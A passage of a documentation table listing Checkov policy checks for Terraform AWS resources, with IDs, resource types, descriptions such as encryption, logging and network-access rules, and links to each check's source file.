Terraform | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py) | | 220 | CKV_AWS_137 | resource | aws_opensearch_domain | Ensure that Elasticsearch is configured inside a VPC | Terraform | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py) | | 221 | CKV_AWS_138 | resource | aws_elb | Ensure that ELB is cross-zone-load-balancing enabled | Terraform | [ELBCrossZoneEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBCrossZoneEnable.py) | | 222 | CKV_AWS_139 | resource | aws_rds_cluster | Ensure that RDS clusters have deletion protection enabled | Terraform | [RDSDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSDeletionProtection.py) | | 223 | CKV_AWS_140 | resource | aws_rds_global_cluster | Ensure that RDS global clusters are encrypted | Terraform | [RDSClusterEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncrypted.py) | | 224 | CKV_AWS_141 | resource | aws_redshift_cluster | Ensured that Redshift cluster allowing version upgrade by default | Terraform | [RedshiftClusterAllowVersionUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAllowVersionUpgrade.py) | | 225 | CKV_AWS_142 | resource | aws_redshift_cluster | Ensure that Redshift cluster is encrypted by KMS | Terraform | [RedshiftClusterKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterKMSKey.py) | | 226 | CKV_AWS_143 | resource | aws_s3_bucket | Ensure that S3 bucket has lock configuration enabled by default | Terraform | [S3BucketObjectLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectLock.py) | | 227 | CKV_AWS_144 | resource | aws_s3_bucket | Ensure that S3 bucket has cross-region replication enabled | Terraform | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml) | | 228 | CKV_AWS_144 | resource | aws_s3_bucket_replication_configuration | Ensure that S3 bucket has cross-region replication enabled | Terraform | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml) | | 229 | CKV_AWS_145 | resource | aws_s3_bucket | Ensure that S3 buckets are encrypted with KMS by default | Terraform | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml) | | 230 | CKV_AWS_145 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure that S3 buckets are encrypted with KMS by default | Terraform | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml) | | 231 | CKV_AWS_146 | resource | aws_db_cluster_snapshot | Ensure that RDS database cluster snapshot is encrypted | Terraform | [RDSClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterSnapshotEncrypted.py) | | 232 | CKV_AWS_147 | resource | aws_codebuild_project | Ensure that CodeBuild projects are encrypted using CMK | Terraform | [CodebuildUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildUsesCMK.py) | | 233 | CKV_AWS_148 | resource | aws_default_vpc | Ensure no default VPC is planned to be provisioned | Terraform | [VPCDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCDefaultNetwork.py) | | 234 | CKV_AWS_149 | resource | aws_secretsmanager_secret | Ensure that Secrets Manager secret is encrypted using KMS CMK | Terraform | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecretEncrypted.py) | | 235 | CKV_AWS_150 | resource | aws_alb | Ensure that Load Balancer has deletion protection enabled | Terraform | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py) | | 236 | CKV_AWS_150 | resource | aws_lb | Ensure that Load Balancer has deletion protection enabled | Terraform | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py) | | 237 | CKV_AWS_152 | resource | aws_alb | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled | Terraform | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py) | | 238 | CKV_AWS_152 | resource | aws_lb | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled | Terraform | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py) | | 239 | CKV_AWS_153 | resource | aws_autoscaling_group | Autoscaling groups should supply tags to launch configurations | Terraform | [AutoScalingTagging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingTagging.py) | | 240 | CKV_AWS_154 | resource | aws_redshift_cluster | Ensure Redshift is not deployed outside of a VPC | Terraform | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftInEc2ClassicMode.py) | | 241 | CKV_AWS_155 | resource | aws_workspaces_workspace | Ensure that Workspace user volumes are encrypted | Terraform | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceUserVolumeEncrypted.py) | | 242 | CKV_AWS_156 | resource | aws_workspaces_workspace | Ensure that Workspace root volumes are encrypted | Terraform | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceRootVolumeEncrypted.py) | | 243 | CKV_AWS_157 | resource | aws_db_instance | Ensure that RDS instances have Multi-AZ enabled | Terraform | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSMultiAZEnabled.py) | | 244 | CKV_AWS_158 | resource | aws_cloudwatch_log_group | Ensure that CloudWatch Log Group is encrypted by KMS | Terraform | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupKMSKey.py) | | 245 | CKV_AWS_159 | resource | aws_athena_workgroup | Ensure that Athena Workgroup is encrypted | Terraform | [AthenaWorkgroupEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupEncryption.py) | | 246 | CKV_AWS_160 | resource | aws_timestreamwrite_database | Ensure that Timestream database is encrypted with KMS CMK | Terraform | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TimestreamDatabaseKMSKey.py) | | 247 | CKV_AWS_161 | resource | aws_db_instance | Ensure RDS database has IAM authentication enabled | Terraform | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSIAMAuthentication.py) | | 248 | CKV_AWS_162 | resource | aws_rds_cluster | Ensure RDS cluster has IAM authentication enabled | Terraform | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterIAMAuthentication.py) | | 249 | CKV_AWS_163 | resource | aws_ecr_repository | Ensure ECR image scanning on push is enabled | Terraform | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImageScanning.py) | | 250 | CKV_AWS_164 | resource | aws_transfer_server | Ensure Transfer Server is not exposed publicly. | Terraform | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerIsPublic.py) | | 251 | CKV_AWS_165 | resource | aws_dynamodb_global_table | Ensure DynamoDB point in time recovery (backup) is enabled for global tables | Terraform | [DynamoDBGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBGlobalTableRecovery.py) | | 252 | CKV_AWS_166 | resource | aws_backup_vault | Ensure Backup Vault is encrypted at rest using KMS CMK | Terraform | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BackupVaultEncrypted.py) | | 253 | CKV_AWS_167 | resource | aws_glacier_vault | Ensure Glacier Vault access policy is not public by only allowing specific services or principals to access it | Terraform | [GlacierVaultAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlacierVaultAnyPrincipal.py) | | 254 | CKV_AWS_168 | resource | aws_sqs_queue | Ensure SQS queue policy is not public by only allowing specific services or principals to access it | Terraform | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py) | | 255 | CKV_AWS_168 | resource | aws_sqs_queue_policy | Ensure SQS queue policy is not public by only allowing specific services or principals to access it | Terraform | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py) | | 256 | CKV_AWS_169 | resource | aws_sns_topic_policy | Ensure SNS topic policy is not public by only allowing specific services or principals to access it | Terraform | [SNSTopicPolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicPolicyAnyPrincipal.py) | | 257 | CKV_AWS_170 | resource | aws_qldb_ledger | Ensure QLDB ledger permissions mode is set to STANDARD | Terraform | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerPermissionsMode.py) | | 258 | CKV_AWS_171 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encryption is using SSE-KMS | Terraform | [EMRClusterIsEncryptedKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterIsEncryptedKMS.py) | | 259 | CKV_AWS_172 | resource | aws_qldb_ledger | Ensure QLDB ledger has deletion protection enabled | Terraform | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerDeletionProtection.py) | | 260 | CKV_AWS_173 | resource | aws_lambda_function | Check encryption settings for Lambda environmental variable | Terraform | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 261 | CKV_AWS_174 | resource | aws_cloudfront_distribution | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher | Terraform | [CloudfrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontTLS12.py) | | 262 | CKV_AWS_175 | resource | aws_waf_web_acl | Ensure WAF has associated rules | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py) | | 263 | CKV_AWS_175 | resource | aws_wafregional_web_acl | Ensure WAF has associated rules | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py) | | 264 | CKV_AWS_175 | resource | aws_wafv2_web_acl | Ensure WAF has associated rules | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py) | | 265 | CKV_AWS_176 | resource | aws_waf_web_acl | Ensure Logging is enabled for WAF Web Access Control Lists | Terraform | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py) | | 266 | CKV_AWS_176 | resource | aws_wafregional_web_acl | Ensure Logging is enabled for WAF Web Access Control Lists | Terraform | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py) | | 267 | CKV_AWS_177 | resource | aws_kinesis_video_stream | Ensure Kinesis Video Stream is encrypted by KMS using a customer managed Key (CMK) | Terraform | [KinesisVideoEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisVideoEncryptedWithCMK.py) | | 268 | CKV_AWS_178 | resource | aws_fsx_ontap_file_system | Ensure fx ontap file system is encrypted by KMS using a customer managed Key (CMK) | Terraform | [FSXOntapFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOntapFSEncryptedWithCMK.py) | | 269 | CKV_AWS_179 | resource | aws_fsx_windows_file_system | Ensure FSX Windows filesystem is encrypted by KMS using a customer managed Key (CMK) | Terraform | [FSXWindowsFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXWindowsFSEncryptedWithCMK.py) | | 270 | CKV_AWS_180 | resource | aws_imagebuilder_component | Ensure Image Builder component is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ImagebuilderComponentEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderComponentEncryptedWithCMK.py) | | 271 | CKV_AWS_181 | resource | aws_s3_object_copy | Ensure S3 Object Copy is encrypted by KMS using a customer managed Key (CMK) | Terraform | [S3ObjectCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ObjectCopyEncryptedWithCMK.py) | | 272 | CKV_AWS_182 | resource | aws_docdb_cluster | Ensure DocumentDB is encrypted by KMS using a customer managed Key (CMK) | Terraform | [DocDBEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryptedWithCMK.py) | | 273 | CKV_AWS_183 | resource | aws_ebs_snapshot_copy | Ensure EBS Snapshot Copy is encrypted by KMS using a customer managed Key (CMK) | Terraform | [EBSSnapshotCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSSnapshotCopyEncryptedWithCMK.py) | | 274 | CKV_AWS_184 | resource | aws_efs_file_system | Ensure resource is encrypted by KMS using a customer managed Key (CMK) | Terraform | [EFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSFileSystemEncryptedWithCMK.py) | | 275 | CKV_AWS_185 | resource | aws_kinesis_stream | Ensure Kinesis Stream is encrypted by KMS using a customer managed Key (CMK) | Terraform | [KinesisStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptedWithCMK.py) | | 276 | CKV_AWS_186 | resource | aws_s3_bucket_object | Ensure S3 bucket Object is encrypted by KMS using a customer managed Key (CMK) | Terraform | [S3BucketObjectEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectEncryptedWithCMK.py) | | 277 | CKV_AWS_187 | resource | aws_sagemaker_domain | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Terraform | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py) | | 278 | CKV_AWS_187 | resource | aws_sagemaker_notebook_instance | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Terraform | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py) | | 279 | CKV_AWS_189 | resource | aws_ebs_volume | Ensure EBS Volume is encrypted by KMS using a customer managed Key (CMK) | Terraform | [EBSVolumeEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSVolumeEncryptedWithCMK.py) | | 280 | CKV_AWS_190 | resource | aws_fsx_lustre_file_system | Ensure lustre file systems is encrypted by KMS using a customer managed Key (CMK) | Terraform | [LustreFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LustreFSEncryptedWithCMK.py) | | 281 | CKV_AWS_191 | resource | aws_elasticache_replication_group | Ensure ElastiCache replication group is encrypted by KMS using a customer managed Key (CMK) | Terraform | [ElasticacheReplicationGroupEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptedWithCMK.py) | | 282 | CKV_AWS_192 | resource | aws_wafv2_web_acl | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFACLCVE202144228.py) | | 283 | CKV_AWS_193 | resource | aws_appsync_graphql_api | Ensure AppSync has Logging enabled | Terraform | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncLogging.py) | | 284 | CKV_AWS_194 | resource | aws_appsync_graphql_api | Ensure AppSync has Field-Level logs enabled | Terraform | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncFieldLevelLogs.py) | | 285 | CKV_AWS_195 | resource | aws_glue_crawler | Ensure Glue component has a security configuration associated | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 286 | CKV_AWS_195 | resource | aws_glue_dev_endpoint | Ensure Glue component has a security configuration associated | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 287 | CKV_AWS_195 | resource | aws_glue_job | Ensure Glue component has a security configuration associated | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 288 | CKV_AWS_196 | resource | aws_elasticache_security_group | Ensure no aws_elasticache_security_group resources exist | Terraform | [ElasticacheHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheHasSecurityGroup.py) | | 289 | CKV_AWS_197 | resource | aws_mq_broker | Ensure MQ Broker Audit logging is enabled | Terraform | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerAuditLogging.py) | | 290 | CKV_AWS_198 | resource | aws_db_security_group | Ensure no aws_db_security_group resources exist | Terraform | [RDSHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSHasSecurityGroup.py) | | 291 | CKV_AWS_199 | resource | aws_imagebuilder_distribution_configuration | Ensure Image Builder Distribution Configuration encrypts AMI's using KMS - a customer managed Key (CMK) | Terraform | [ImagebuilderDistributionConfigurationEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderDistributionConfigurationEncryptedWithCMK.py) | | 292 | CKV_AWS_200 | resource | aws_imagebuilder_image_recipe | Ensure that Image Recipe EBS Disk are encrypted with CMK | Terraform | [ImagebuilderImageRecipeEBSEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderImageRecipeEBSEncrypted.py) | | 293 | CKV_AWS_201 | resource | aws_memorydb_cluster | Ensure MemoryDB is encrypted at rest using KMS CMKs | Terraform | [MemoryDBEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBEncryptionWithCMK.py) | | 294 | CKV_AWS_202 | resource | aws_memorydb_cluster | Ensure MemoryDB data is encrypted in transit | Terraform | [MemoryDBClusterIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBClusterIntransitEncryption.py) | | 295 | CKV_AWS_203 | resource | aws_fsx_openzfs_file_system | Ensure resource is encrypted by KMS using a customer managed Key (CMK) | Terraform | [FSXOpenZFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOpenZFSFileSystemEncryptedWithCMK.py) | | 296 | CKV_AWS_204 | resource | aws_ami | Ensure AMIs are encrypted using KMS CMKs | Terraform | [AMIEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMIEncryption.py) | | 297 | CKV_AWS_205 | resource | aws_ami_launch_permission | Ensure to Limit AMI launch Permissions | Terraform | [AMILaunchIsShared.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMILaunchIsShared.py) | | 298 | CKV_AWS_206 | resource | aws_api_gateway_domain_name | Ensure API Gateway Domain uses a modern security Policy | Terraform | [APIGatewayDomainNameTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDomainNameTLS.py) | | 299 | CKV_AWS_207 | resource | aws_mq_broker | Ensure MQ Broker minor version updates are enabled | Terraform | [MQBrokerMinorAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerMinorAutoUpgrade.py) | | 300 | CKV_AWS_208 | resource | aws_mq_broker | Ensure MQ Broker version is current | Terraform | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py) | | 301 | CKV_AWS_208 | resource | aws_mq_configuration | Ensure MQ Broker version is current | Terraform | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py) | | 302 | CKV_AWS_209 | resource | aws_mq_broker | Ensure MQ broker encrypted by KMS using a customer managed Key (CMK) | Terraform | [MQBrokerEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerEncryptedWithCMK.py) | | 303 | CKV_AWS_210 | resource | aws_batch_job_definition | Batch job does not define a privileged container | Terraform | [BatchJobIsNotPrivileged.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BatchJobIsNotPrivileged.py) | | 304 | CKV_AWS_211 | resource | aws_db_instance | Ensure RDS uses a modern CaCert | Terraform | [RDSCACertIsRecent.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSCACertIsRecent.py) | | 305 | CKV_AWS_212 | resource | aws_dms_replication_instance | Ensure DMS replication instance is encrypted by KMS using a customer managed Key (CMK) | Terraform | [DMSReplicationInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceEncryptedWithCMK.py) | | 306 | CKV_AWS_213 | resource | aws_load_balancer_policy | Ensure ELB Policy uses only secure protocols | Terraform | [ELBPolicyUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBPolicyUsesSecureProtocols.py) | | 307 | CKV_AWS_214 | resource | aws_appsync_api_cache | Ensure AppSync API Cache is encrypted at rest | Terraform | [AppsyncAPICacheEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionAtRest.py) | | 308 | CKV_AWS_215 | resource | aws_appsync_api_cache | Ensure AppSync API Cache is encrypted in transit | Terraform | [AppsyncAPICacheEncryptionInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionInTransit.py) | | 309 | CKV_AWS_216 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution is enabled | Terraform | [CloudfrontDistributionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEnabled.py) | | 310 | CKV_AWS_217 | resource | aws_api_gateway_deployment | Ensure Create before destroy for API deployments | Terraform | [APIGatewayDeploymentCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDeploymentCreateBeforeDestroy.py) | | 311 | CKV_AWS_218 | resource | aws_cloudsearch_domain | Ensure that CloudSearch is using latest TLS | Terraform | [CloudsearchDomainTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainTLS.py) | | 312 | CKV_AWS_219 | resource | aws_codepipeline | Ensure CodePipeline Artifact store is using a KMS CMK | Terraform | [CodePipelineArtifactsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodePipelineArtifactsEncrypted.py) | | 313 | CKV_AWS_220 | resource | aws_cloudsearch_domain | Ensure that CloudSearch is using https | Terraform | [CloudsearchDomainEnforceHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainEnforceHttps.py) | | 314 | CKV_AWS_221 | resource | aws_codeartifact_domain | Ensure CodeArtifact Domain is encrypted by KMS using a customer managed Key (CMK) | Terraform | [CodeArtifactDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeArtifactDomainEncryptedWithCMK.py) | | 315 | CKV_AWS_222 | resource | aws_dms_replication_instance | Ensure DMS replication instance gets all minor upgrade automatically | Terraform | [DMSReplicationInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceMinorUpgrade.py) | | 316 | CKV_AWS_223 | resource | aws_ecs_cluster | Ensure ECS Cluster enables logging of ECS Exec | Terraform | [ECSClusterLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEnabled.py) | | 317 | CKV_AWS_224 | resource | aws_ecs_cluster | Ensure ECS Cluster logging is enabled and client to container communication uses CMK | Terraform | [ECSClusterLoggingEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEncryptedWithCMK.py) | | 318 | CKV_AWS_225 | resource | aws_api_gateway_method_settings | Ensure API Gateway method setting caching is enabled | Terraform | [APIGatewayMethodSettingsCacheEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEnabled.py) | | 319 | CKV_AWS_226 | resource | aws_db_instance | Ensure DB instance gets all minor upgrades automatically | Terraform | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py) | | 320 | CKV_AWS_226 | resource | aws_rds_cluster_instance | Ensure DB instance gets all minor upgrades automatically | Terraform | [DBInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceMinorUpgrade.py) | | 321 | CKV_AWS_227 | resource | aws_kms_key | Ensure KMS key is enabled | Terraform | [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyIsEnabled.py) | | 322 | CKV_AWS_228 | resource | aws_elasticsearch_domain | Verify Elasticsearch domain is using an up to date TLS policy | Terraform | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py) | | 323 | CKV_AWS_228 | resource | aws_opensearch_domain | Verify Elasticsearch domain is using an up to date TLS policy | Terraform | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py) | | 324 | CKV_AWS_229 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21 | Terraform | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py) | | 325 | CKV_AWS_229 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21 | Terraform | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py) | | 326 | CKV_AWS_230 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20 | Terraform | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py) | | 327 | CKV_AWS_230 | resource | aws_network_acl_rule | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20 | Terraform | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py) | | 328 | CKV_AWS_231 | resource | aws_network_acl | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389 | 